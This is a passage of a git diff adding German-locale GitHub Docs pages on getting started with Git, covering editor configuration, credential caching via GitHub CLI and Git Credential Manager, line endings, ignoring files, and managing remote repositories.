+
+1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation.
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Type this command:
+  ```shell
+  $ git config --global core.editor "'C:/Program Files (x86)/sublime text 3/subl.exe' -w"
+  ```
+
+## Using Notepad++ as your editor
+
+1. Install Notepad++ from https://notepad-plus-plus.org/. For more information, see "[Getting started](https://npp-user-manual.org/docs/getting-started/)" in the Notepad++ documentation.
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Type this command:
+  ```shell
+  $ git config --global core.editor "'C:/Program Files (x86)/Notepad++/notepad++.exe' -multiInst -notabbar -nosession -noPlugin"
+  ```
+{% endwindows %}
+
+{% linux %}
+
+## Using {% data variables.product.prodname_vscode %} as your editor
+
+1. Install [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) ({% data variables.product.prodname_vscode_shortname %}). For more information, see "[Setting up {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/Docs/setup/setup-overview)" in the {% data variables.product.prodname_vscode_shortname %} documentation.
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Type this command:
+  ```shell
+  $ git config --global core.editor "code --wait"
+ ```
+
+## Using Sublime Text as your editor
+
+1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation.
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Type this command:
+  ```shell
+  $ git config --global core.editor "subl -n -w"
+  ```
+
+{% endlinux %}
diff --git a/translations/de-DE/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md b/translations/de-DE/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md
new file mode 100644
index 0000000000..a32b554c10
--- /dev/null
+++ b/translations/de-DE/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md
@@ -0,0 +1,106 @@
+---
+title: Caching your GitHub credentials in Git
+redirect_from:
+  - /firewalls-and-proxies
+  - /articles/caching-your-github-password-in-git
+  - /github/using-git/caching-your-github-password-in-git
+  - /github/using-git/caching-your-github-credentials-in-git
+  - /github/getting-started-with-github/caching-your-github-credentials-in-git
+  - /github/getting-started-with-github/getting-started-with-git/caching-your-github-credentials-in-git
+intro: 'If you''re [cloning {% data variables.product.product_name %} repositories using HTTPS](/github/getting-started-with-github/about-remote-repositories), we recommend you use {% data variables.product.prodname_cli %} or Git Credential Manager (GCM) to remember your credentials.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Caching credentials
+---
+
+{% tip %}
+
+**Tip:** If you clone {% data variables.product.product_name %} repositories using SSH, then you  can authenticate using an SSH key instead of using other credentials. For information about setting up an SSH connection, see "[Generating an SSH Key](/articles/generating-an-ssh-key)."
+
+{% endtip %}
+
+## {% data variables.product.prodname_cli %}
+
+{% data variables.product.prodname_cli %} will automatically store your Git credentials for you when you choose `HTTPS` as your preferred protocol for Git operations and answer "yes" to the prompt asking if you would like to authenticate to Git with your {% data variables.product.product_name %} credentials.
+
+1. [Install](https://github.com/cli/cli#installation) {% data variables.product.prodname_cli %} on macOS, Windows, or Linux.
+2. In the command line, enter `gh auth login`, then follow the prompts.
+   - When prompted for your preferred protocol for Git operations, select `HTTPS`.
+   - When asked if you would like to authenticate to Git with your {% data variables.product.product_name %} credentials, enter `Y`.
+
+For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
+
+## Git Credential Manager
+
+[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager) (GCM) is another way to store your credentials securely and connect to GitHub over HTTPS. With GCM, you don't have to manually [create and store a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token), as GCM manages authentication on your behalf, including 2FA (two-factor authentication).
+
+{% mac %}
+
+1. Install Git using [Homebrew](https://brew.sh/):
+  ```shell
+  $ brew install git
+  ```
+
+2. Install GCM using Homebrew:
+  ```shell
+  $ brew tap microsoft/git
+  $ brew install --cask git-credential-manager-core
+  ```
+  For MacOS, you don't need to run `git config` because GCM automatically configures Git for you.
+
+{% data reusables.gcm-core.next-time-you-clone %}
+
+Once you've authenticated successfully, your credentials are stored in the macOS keychain and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials.
+
+{% endmac %}
+
+{% windows %}
+
+1. Install Git for Windows, which includes GCM. For more information, see "[Git for Windows releases](https://github.com/git-for-windows/git/releases/latest)" from its [releases page](https://github.com/git-for-windows/git/releases/latest).
+
+We recommend always installing the latest version. At a minimum, install version 2.29 or higher, which is the first version offering OAuth support for GitHub.
+
+{% data reusables.gcm-core.next-time-you-clone %}
+
+Once you've authenticated successfully, your credentials are stored in the Windows credential manager and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials.
+
+<br>
+
+{% warning %}
+
+**Warning:** Older versions of Git for Windows came with Git Credential Manager for Windows. This older product is no longer supported and cannot connect to GitHub via OAuth. We recommend you upgrade to [the latest version of Git for Windows](https://github.com/git-for-windows/git/releases/latest).
+
+{% endwarning %}
+
+{% warning %}
+
+**Warning:** If you cached incorrect or outdated credentials in Credential Manager for Windows, Git will fail to access {% data variables.product.product_name %}. To reset your cached credentials so that Git prompts you to enter your credentials, access the Credential Manager in the Windows Control Panel under User Accounts > Credential Manager. Look for the {% data variables.product.product_name %} entry and delete it. 
+
+{% endwarning %}
+
+{% endwindows %}
+
+{% linux %}
+
+For Linux, install Git and GCM, then configure Git to use GCM.
+
+1. Install Git from your distro's packaging system. Instructions will vary depending on the flavor of Linux you run.
+
+2. Install GCM. See the [instructions in the GCM repo](https://github.com/GitCredentialManager/git-credential-manager#linux-install-instructions), as they'll vary depending on the flavor of Linux you run.
+
+3. Configure Git to use GCM. There are several backing stores that you may choose from, so see the GCM docs to complete your setup. For more information, see "[GCM Linux](https://aka.ms/gcmcore-linuxcredstores)."
+
+{% data reusables.gcm-core.next-time-you-clone %}
+
+Once you've authenticated successfully, your credentials are stored on your system and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials.
+
+For more options for storing your credentials on Linux, see [Credential Storage](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage) in Pro Git.
+
+{% endlinux %}
+
+<br>
+
+For more information or to report issues with GCM, see the official GCM docs at "[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager)."
diff --git a/translations/de-DE/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md b/translations/de-DE/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md
new file mode 100644
index 0000000000..44381f15a3
--- /dev/null
+++ b/translations/de-DE/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md
@@ -0,0 +1,141 @@
+---
+title: Git zur Verarbeitung von Zeilenenden konfigurieren
+intro: 'Um Probleme bei deinen Diffs zu verhindern, kannst du Git zur korrekten Verarbeitung von Zeilenabschlüssen konfigurieren.'
+redirect_from:
+  - /dealing-with-lineendings
+  - /line-endings
+  - /articles/dealing-with-line-endings
+  - /articles/configuring-git-to-handle-line-endings
+  - /github/using-git/configuring-git-to-handle-line-endings
+  - /github/getting-started-with-github/configuring-git-to-handle-line-endings
+  - /github/getting-started-with-github/getting-started-with-git/configuring-git-to-handle-line-endings
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Handle line endings
+ms.openlocfilehash: 4aa89f244e45da6905d6d5348c84faf8d5e6418c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147884205'
+---
+## Informationen zu Zeilenenden
+Jedes Mal, wenn du auf der Tastatur die <kbd>EINGABETASTE</kbd> drückst, fügst du ein unsichtbares Zeichen ein, nämlich ein Zeilenende. Verschiedene Betriebssysteme handhaben Zeilenenden unterschiedlich.
+
+Wenn du mit Git und {% data variables.product.product_name %} an Projekten zusammenarbeitest, kann Git unerwartete Ergebnisse liefern, wenn du beispielsweise an einem Windows-Computer arbeitest und dein*e Projektmitarbeiter*in eine Änderungen unter macOS vorgenommen hat.
+
+Du kannst Git so konfigurieren, dass es Zeilenenden automatisch setzt, so dass Du effektiv mit Leuten zusammenarbeiten kannst, die verschiedene Betriebssysteme verwenden.
+
+## Globale Einstellungen für Zeilenabschlüsse
+
+Der Befehl `git config core.autocrlf` wird verwendet, um zu ändern, wie Git Zeilenenden verarbeitet. Dazu ist ein einziges Argument nötig.
+
+{% mac %}
+
+Übergebe unter macOS einfach `input` an die Konfiguration. Beispiel:
+
+```shell
+$ git config --global core.autocrlf input
+# Configure Git to ensure line endings in files you checkout are correct for macOS
+```
+
+{% endmac %}
+
+{% windows %}
+
+Übergebe unter Windows einfach `true` an die Konfiguration. Beispiel:
+
+```shell
+$ git config --global core.autocrlf true
+# Configure Git to ensure line endings in files you checkout are correct for Windows.
+# For compatibility, line endings are converted to Unix style when you commit files.
+```
+
+{% endwindows %}
+
+{% linux %}
+
+Übergebe unter Linux einfach `input` an die Konfiguration. Beispiel:
+
+```shell
+$ git config --global core.autocrlf input
+# Configure Git to ensure line endings in files you checkout are correct for Linux
+```
+
+{% endlinux %}
+
+## Repository-abhängige Einstellungen
+
+Optional kannst du eine *.gitattributes*-Datei konfigurieren, um zu verwalten, wie Git Zeilenenden in einem bestimmten Repository liest. Wenn du diese Datei in ein Repository committest, überschreibt sie die `core.autocrlf`-Einstellung für alle Mitwirkenden des Repositorys. Dadurch wird ein konsistentes Verhalten für alle Benutzer unabhängig von ihren Git-Einstellungen und ihrer Umgebung sichergestellt.
+
+Die Datei *.gitattributes* muss im Stamm des Repositorys erstellt und wie jede andere Datei committet werden.
+
+Eine *.gitattributes*-Datei sieht wie eine Tabelle mit zwei Spalten aus:
+
+* Links ist der Dateiname, den Git abgleichen soll.
+* Rechts befindet sich die Konfiguration für Zeilenabschlüsse, die Git für diese Dateien verwenden soll.
+
+### Beispiel
+
+Nachfolgend findest du ein Beispiel für eine *.gitattributes*-Datei. Du kannst sie als Vorlage für Deine Repositorys verwenden:
+
+```
+# Set the default behavior, in case people don't have core.autocrlf set.
+* text=auto
+
+# Explicitly declare text files you want to always be normalized and converted
+# to native line endings on checkout.
+*.c text
+*.h text
+
+# Declare files that will always have CRLF line endings on checkout.
+*.sln text eol=crlf
+
+# Denote all files that are truly binary and should not be modified.
+*.png binary
+*.jpg binary
+```
+
+Wie du siehst, werden Dateien abgeglichen (`*.c`, `*.sln`, `*.png`), durch ein Leerzeichen getrennt und dann mit einer Einstellung (`text`, `text eol=crlf` oder `binary`) versehen. Nachfolgend sehen wir uns einige mögliche Einstellungen an.
+
+- `text=auto` Git verarbeitet die Dateien so, wie es für sinnvoll erachtet wird. Das ist eine gute Standardoption.
+
+- `text eol=crlf` Git wandelt Zeilenenden beim Check-Out immer in `CRLF` um. Verwende diese Einstellung für Dateien, die die `CRLF`-Enden behalten sollen, auch unter OS X oder Linux.
+
+- `text eol=lf` Git wandelt Zeilenenden beim Check-Out immer in `LF` um. Verwende diese Einstellung für Dateien, die die LF-Abschlüsse behalten sollen, auch unter Windows.
+
+- `binary` Git erkennt, dass die angegebenen Dateien keine Textdateien sind, und versucht nicht, sie umzuwandeln. Die `binary`-Einstellung ist ein Alias für `-text -diff`.
+
+## Ein Repository nach dem Ändern der Zeilenabschlüsse aktualisieren
+
+Wenn du die Option `core.autocrlf` festlegst oder eine *.gitattributes*-Datei committest, meldet Git möglicherweise Änderungen an Dateien, die nicht geändert wurden. Git hat die Zeilenendungen an Deine neue Konfiguration angepasst.
+
+Wenn du sicherstellen möchtest, dass alle Zeilenenden in deinem Repository mit deiner neuen Konfiguration übereinstimmen, sichere deine Dateien mit Git, lösche alle Dateien in deinem Repository (außer dem `.git`-Verzeichnis), und stelle dann alle Dateien auf einmal wieder her.
+
+1. Speichere Deine aktuellen Dateien in Git, damit nichts von Deiner Arbeit verloren geht.
+  ```shell
+  $ git add . -u
+  $ git commit -m "Saving files before refreshing line endings"
+  ```
+2. Füge alle geänderten Dateien wieder hinzu, und normalisiere die Zeilenabschlüsse.
+  ```shell
+  $ git add --renormalize .
+  ```
+3. Zeige die umgeschriebenen, normalisierten Dateien an.
+  ```shell
+  $ git status
+  ```
+4. Gib die Änderungen an Dein Repository frei.
+  ```shell
+  $ git commit -m "Normalize all the line endings"
+  ```
+
+## Weiterführende Themen
+
+- [Anpassen von Git – Git-Attribute](https://git-scm.com/book/en/Customizing-Git-Git-Attributes) im Pro Git-Buch
+- [git-config](https://git-scm.com/docs/git-config) auf der Manpage für Git
+- [Erste Schritte: Erstes Git-Setup](https://git-scm.com/book/en/Getting-Started-First-Time-Git-Setup) im Pro Git-Buch
+- [Denke an das Ende deiner Zeile](http://adaptivepatchwork.com/2012/03/01/mind-the-end-of-your-line/) von [Tim Clem](https://github.com/tclem)
diff --git a/translations/de-DE/content/get-started/getting-started-with-git/git-workflows.md b/translations/de-DE/content/get-started/getting-started-with-git/git-workflows.md
new file mode 100644
index 0000000000..937ffc0c6e
--- /dev/null
+++ b/translations/de-DE/content/get-started/getting-started-with-git/git-workflows.md
@@ -0,0 +1,22 @@
+---
+title: Git-Workflows
+intro: '{% data variables.product.prodname_dotcom %}-Flow ist ein einfacher Branch-basierter Workflow, der Teams und Projekte unterstützt, die regelmäßig Änderungen bereitstellen.'
+redirect_from:
+  - /articles/what-is-a-good-git-workflow
+  - /articles/git-workflows
+  - /github/using-git/git-workflows
+  - /github/getting-started-with-github/git-workflows
+  - /github/getting-started-with-github/getting-started-with-git/git-workflows
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: da67c3430e7457b1fec3f1b0b9b480d6d8363c2d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145102624'
+---
+Du kannst die {% data variables.product.prodname_dotcom %}-Flow-Methode übernehmen, um zu standardisieren, wie Dein Team auf {% data variables.product.prodname_dotcom %} zusammenarbeitet. Weitere Informationen findest du unter [{% data variables.product.prodname_dotcom %}-Flow](/github/getting-started-with-github/github-flow).
diff --git a/translations/de-DE/content/get-started/getting-started-with-git/ignoring-files.md b/translations/de-DE/content/get-started/getting-started-with-git/ignoring-files.md
new file mode 100644
index 0000000000..5018e6aabd
--- /dev/null
+++ b/translations/de-DE/content/get-started/getting-started-with-git/ignoring-files.md
@@ -0,0 +1,72 @@
+---
+title: Ignorieren von Dateien
+redirect_from:
+  - /git-ignore
+  - /ignore-files
+  - /articles/ignoring-files
+  - /github/using-git/ignoring-files
+  - /github/getting-started-with-github/ignoring-files
+  - /github/getting-started-with-github/getting-started-with-git/ignoring-files
+intro: 'Du kannst Git so konfigurieren, dass Dateien ignoriert werden, die Du nicht nach {% data variables.product.product_name %} einchecken willst.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 4e98e0a4eb4f2f75056621bd0123c651a04a9b6d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131289'
+---
+## Ignorierte Dateien für ein einzelnes Repository konfigurieren
+
+Du kannst eine *.gitignore*-Datei im Stammverzeichnis Deines Repository erstellen, um Git mitzuteilen, welche Dateien und Verzeichnisse zu ignorieren sind, wenn Du einen Commit machst.
+Um diese Ignorierregeln mit anderen Benutzern zu teilen, die das Repository klonen, musst Du die *.gitignore*-Datei für Dein Repository freigeben.
+
+GitHub pflegt eine offizielle Liste an empfohlenen *.gitignore*-Dateien für viele gängige Betriebssysteme, Umgebungen und Sprachen im öffentlichen `github/gitignore`-Repository. Du kannst auch mit gitignore.io eine *.gitignore*-Datei für Dein Betriebssystem, Deine Programmiersprache oder Deine IDE erstellen. Weitere Informationen findest Du unter "[github/gitignore](https://github.com/github/gitignore)" und auf der Website "[gitignore.io](https://www.gitignore.io/)".
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Navigiere zum Speicherort Deines Git-Repositorys.
+3. Erstelle eine *Gitignore-Datei* für Dein Repository.
+   ```shell
+   $ touch .gitignore
+  ```
+
+   Wenn der Befehl erfolgreich ist, erfolgt keine Ausgabe.
+   
+Ein Beispiel für eine *gitignore*-Datei findest Du unter "[Einige gängige .gitignore-Konfigurationen](https://gist.github.com/octocat/9257657)" im Octocat-Repository.
+
+Wenn Du eine bereits eingecheckte Datei ignorieren willst, musst Du die Datei vor dem Hinzufügen einer Ignorierregel entfernen. Entferne die Datei von Deinem Terminal.
+
+```shell
+$ git rm --cached <em>FILENAME</em>
+```
+
+## Ignorierte Dateien für alle Repositorys auf Deinem Computers konfigurieren
+
+Du kannst auch eine globale *.gitignore*-Datei erstellen, um eine Liste der Regeln für das Ignorieren von Dateien in allen Git-Repositorys auf Deinem Computer zu definieren. Beispielsweise kannst Du eine Datei unter *~/.gitignore_global* erstellen und ihr dann einige Regeln hinzufügen.
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Konfiguriere Git so, dass die Ausschlussdatei *~/.gitignore_global* für alle Git-Repositorys verwendet wird.
+  ```shell
+  $ git config --global core.excludesfile ~/.gitignore_global
+  ```
+
+## Ausschließen lokaler Dateien ohne Erstellen einer *Gitignore-Datei*
+
+Wenn Du keine *.gitignore*-Datei erstellen und mit anderen teilen möchtest, kannst Du Regeln erstellen, die nicht mit dem Repository committet werden. Du kannst diese Methode für lokal erstellte Dateien anwenden, bei denen es unwahrscheinlich ist, dass andere sie erzeugen, z. B. Dateien, die von Deinem Editor erstellt wurden.
+
+Öffne die Datei *.git/info/exclude* im Root Deines Git-Repositorys mit Deinem bevorzugten Texteditor. Alle Regeln, die Du hier hinzufügst, werden nicht eingecheckt und ignorieren nur Dateien für Dein lokales Repository.
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Navigiere zum Speicherort Deines Git-Repositorys.
+3. Öffne die Datei *.git/info/exclude* mit Deinem bevorzugten Texteditor.
+
+## Weitere Informationen
+
+* [Ignorieren von Dateien](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository#_ignoring) im Pro Git-Buch
+* [.gitignore](https://git-scm.com/docs/gitignore) in den Man-Seiten für Git
+* [Eine Sammlung nützlicher *Gitignore*-Vorlagen](https://github.com/github/gitignore) im github/gitignore-Repository
+* [gitignore.io](https://www.gitignore.io/)-Website
diff --git a/translations/de-DE/content/get-started/getting-started-with-git/index.md b/translations/de-DE/content/get-started/getting-started-with-git/index.md
new file mode 100644
index 0000000000..aafcecdf70
--- /dev/null
+++ b/translations/de-DE/content/get-started/getting-started-with-git/index.md
@@ -0,0 +1,33 @@
+---
+title: Erste Schritte mit Git
+intro: 'Richte Git ein, ein verteiltes Versionskontrollsystem, um deine {% data variables.product.product_name %}-Repositorys von deinem Computer aus zu verwalten.'
+redirect_from:
+  - /articles/getting-started-with-git-and-github
+  - /github/using-git/getting-started-with-git-and-github
+  - /github/using-git/learning-about-git
+  - /articles/learning-about-git
+  - /github/getting-started-with-github/getting-started-with-git
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /setting-your-username-in-git
+  - /caching-your-github-credentials-in-git
+  - /why-is-git-always-asking-for-my-password
+  - /updating-credentials-from-the-macos-keychain
+  - /git-workflows
+  - /about-remote-repositories
+  - /managing-remote-repositories
+  - /associating-text-editors-with-git
+  - /configuring-git-to-handle-line-endings
+  - /ignoring-files
+ms.openlocfilehash: 42c758ca98c96d451660d089434d6d8dc61501d6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880758'
+---
+
diff --git a/translations/de-DE/content/get-started/getting-started-with-git/managing-remote-repositories.md b/translations/de-DE/content/get-started/getting-started-with-git/managing-remote-repositories.md
new file mode 100644
index 0000000000..d543ff4837
--- /dev/null
+++ b/translations/de-DE/content/get-started/getting-started-with-git/managing-remote-repositories.md
@@ -0,0 +1,239 @@
+---
+title: Managing remote repositories
+intro: 'Learn to work with your local repositories on your computer and remote repositories hosted on {% data variables.product.product_name %}.'
+redirect_from:
+  - /categories/18/articles
+  - /remotes
+  - /categories/managing-remotes
+  - /articles/managing-remote-repositories
+  - /articles/adding-a-remote
+  - /github/using-git/adding-a-remote
+  - /articles/changing-a-remote-s-url
+  - /articles/changing-a-remotes-url
+  - /github/using-git/changing-a-remotes-url
+  - /articles/renaming-a-remote
+  - /github/using-git/renaming-a-remote
+  - /articles/removing-a-remote
+  - /github/using-git/removing-a-remote
+  - /github/using-git/managing-remote-repositories
+  - /github/getting-started-with-github/managing-remote-repositories
+  - /github/getting-started-with-github/getting-started-with-git/managing-remote-repositories
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Manage remote repositories
+---
+## Adding a remote repository
+
+To add a new remote, use the `git remote add` command on the terminal, in the directory your repository is stored at.
+
+The `git remote add` command takes two arguments:
+* A remote name, for example, `origin`
+* A remote URL, for example, `https://{% data variables.command_line.backticks %}/user/repo.git`
+
+For example:
+
+```shell
+$ git remote add origin https://{% data variables.command_line.codeblock %}/USER/REPO>.git
+# Set a new remote
+
+$ git remote -v
+# Verify new remote
+> origin  https://{% data variables.command_line.codeblock %}/USER/REPO.git (fetch)
+> origin  https://{% data variables.command_line.codeblock %}/USER/REPO.git (push)
+```
+
+For more information on which URL to use, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
+
+### Troubleshooting: Remote origin already exists
+
+This error means you've tried to add a remote with a name that already exists in your local repository.
+
+```shell
+$ git remote add origin https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife.git
+> fatal: remote origin already exists.
+```
+
+To fix this, you can:
+* Use a different name for the new remote.
+* Rename the existing remote repository before you add the new remote. For more information, see "[Renaming a remote repository](#renaming-a-remote-repository)" below.
+* Delete the existing remote repository before you add the new remote. For more information, see "[Removing a remote repository](#removing-a-remote-repository)" below.
+
+## Changing a remote repository's URL
+
+The `git remote set-url` command changes an existing remote repository URL.
+
+{% tip %}
+
+**Tip:** For information on the difference between HTTPS and SSH URLs, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
+
+{% endtip %}
+
+The `git remote set-url` command takes two arguments:
+
+* An existing remote name. For example, `origin` or `upstream` are two common choices.
+* A new URL for the remote. For example:
+  * If you're updating to use HTTPS, your URL might look like:
+```shell
+https://{% data variables.command_line.backticks %}/USERNAME/REPOSITORY.git
+```
+  * If you're updating to use SSH, your URL might look like:
+```shell
+git@{% data variables.command_line.codeblock %}:USERNAME/REPOSITORY.git
+```
+
+### Switching remote URLs from SSH to HTTPS
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Change the current working directory to your local project.
+3. List your existing remotes in order to get the name of the remote you want to change.
+  ```shell
+  $ git remote -v
+  > origin  git@{% data variables.command_line.codeblock %}:USERNAME/REPOSITORY.git (fetch)
+  > origin  git@{% data variables.command_line.codeblock %}:USERNAME/REPOSITORY.git (push)
+  ```
+4. Change your remote's URL from SSH to HTTPS with the `git remote set-url` command.
+  ```shell
+  $ git remote set-url origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git
+  ```
+5. Verify that the remote URL has changed.
+  ```shell
+  $ git remote -v
+  # Verify new remote URL
+  > origin  https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git (fetch)
+  > origin  https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git (push)
+  ```
+
+The next time you `git fetch`, `git pull`, or `git push` to the remote repository, you'll be asked for your GitHub username and password. {% data reusables.user-settings.password-authentication-deprecation %}
+
+You can [use a credential helper](/github/getting-started-with-github/caching-your-github-credentials-in-git) so Git will remember your GitHub username and {% data variables.product.pat_generic %} every time it talks to GitHub.
+
+### Switching remote URLs from HTTPS to SSH
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Change the current working directory to your local project.
+3. List your existing remotes in order to get the name of the remote you want to change.
+  ```shell
+  $ git remote -v
+  > origin  https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git (fetch)
+  > origin  https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git (push)
+  ```
+4. Change your remote's URL from HTTPS to SSH with the `git remote set-url` command.
+  ```shell
+  $ git remote set-url origin git@{% data variables.command_line.codeblock %}:USERNAME/REPOSITORY.git
+  ```
+5. Verify that the remote URL has changed.
+  ```shell
+  $ git remote -v
+  # Verify new remote URL
+  > origin  git@{% data variables.command_line.codeblock %}: USERNAME/REPOSITORY.git (fetch)
+  > origin  git@{% data variables.command_line.codeblock %}: USERNAME/REPOSITORY.git (push)
+  ```
+
+### Troubleshooting: No such remote '[name]'
+
+This error means that the remote you tried to change doesn't exist:
+
+```shell
+$ git remote set-url sofake https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife
+> fatal: No such remote 'sofake'
+```
+
+Check that you've correctly typed the remote name.
+
+## Renaming a remote repository
+
+Use the `git remote rename` command to rename an existing remote.
+
+The `git remote rename` command takes two arguments:
+* An existing remote name, for example, `origin`
+* A new name for the remote, for example, `destination`
+
+## Example
+
+These examples assume you're [cloning using HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), which is recommended.
+
+```shell
+$ git remote -v
+# View existing remotes
+> origin  https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (fetch)
+> origin  https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (push)
+
+$ git remote rename origin destination
+# Change remote name from 'origin' to 'destination'
+
+$ git remote -v
+# Verify remote's new name
+> destination  https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (fetch)
+> destination  https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (push)
+```
+
+### Troubleshooting: Could not rename config section 'remote.[old name]' to 'remote.[new name]'
+
+This error means that the old remote name you typed doesn't exist.
+
+You can check which remotes currently exist with the `git remote -v` command:
+
+```shell
+$ git remote -v
+# View existing remotes
+> origin  https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (fetch)
+> origin  https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (push)
+```
+
+### Troubleshooting: Remote [new name] already exists
+
+This error means that the remote name you want to use already exists. To solve this, either use a different remote name, or rename the original remote.
+
+## Removing a remote repository 
+
+Use the `git remote rm` command to remove a remote URL from your repository.
+
+The `git remote rm` command takes one argument:
+* A remote name, for example, `destination`
+
+Removing the remote URL from your repository only unlinks the local and remote repositories. It does not delete the remote repository.
+
+## Example
+
+These examples assume you're [cloning using HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), which is recommended.
+
+```shell
+$ git remote -v
+# View current remotes
+> origin  https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (fetch)
+> origin  https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (push)
+> destination  https://{% data variables.command_line.codeblock %}/FORKER/REPOSITORY.git (fetch)
+> destination  https://{% data variables.command_line.codeblock %}/FORKER/REPOSITORY.git (push)
+
+$ git remote rm destination
+# Remove remote
+$ git remote -v
+# Verify it's gone
+> origin  https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (fetch)
+> origin  https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (push)
+```
+
+{% warning %}
+
+**Note**: `git remote rm` does not delete the remote repository from the server. It simply
+removes the remote and its references from your local repository.
+
+{% endwarning %}
+
+### Troubleshooting: Could not remove config section 'remote.[name]'
+
+This error means that the remote you tried to delete doesn't exist:
+
+```shell
+$ git remote rm sofake
+> error: Could not remove config section 'remote.sofake'
+```
+
+Check that you've correctly typed the remote name.
+
+## Further reading
+
+- "[Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)
diff --git a/translations/de-DE/content/get-started/getting-started-with-git/setting-your-username-in-git.md b/translations/de-DE/content/get-started/getting-started-with-git/setting-your-username-in-git.md
new file mode 100644
index 0000000000..fdc0c842cb
--- /dev/null
+++ b/translations/de-DE/content/get-started/getting-started-with-git/setting-your-username-in-git.md
@@ -0,0 +1,62 @@
+---
+title: Git-Benutzername festlegen
+intro: 'Git verknüpft Commits über den Benutzernamen mit einer Identität. Der Git-Benutzername ist nicht identisch mit deinem {% data variables.product.product_name %}-Benutzernamen.'
+redirect_from:
+  - /articles/setting-your-username-in-git
+  - /github/using-git/setting-your-username-in-git
+  - /github/getting-started-with-github/setting-your-username-in-git
+  - /github/getting-started-with-github/getting-started-with-git/setting-your-username-in-git
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Set your username
+ms.openlocfilehash: c713f21fdf91269764dd97f15770e7996bf9f4f0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131273'
+---
+## Informationen zu Git-Benutzernamen
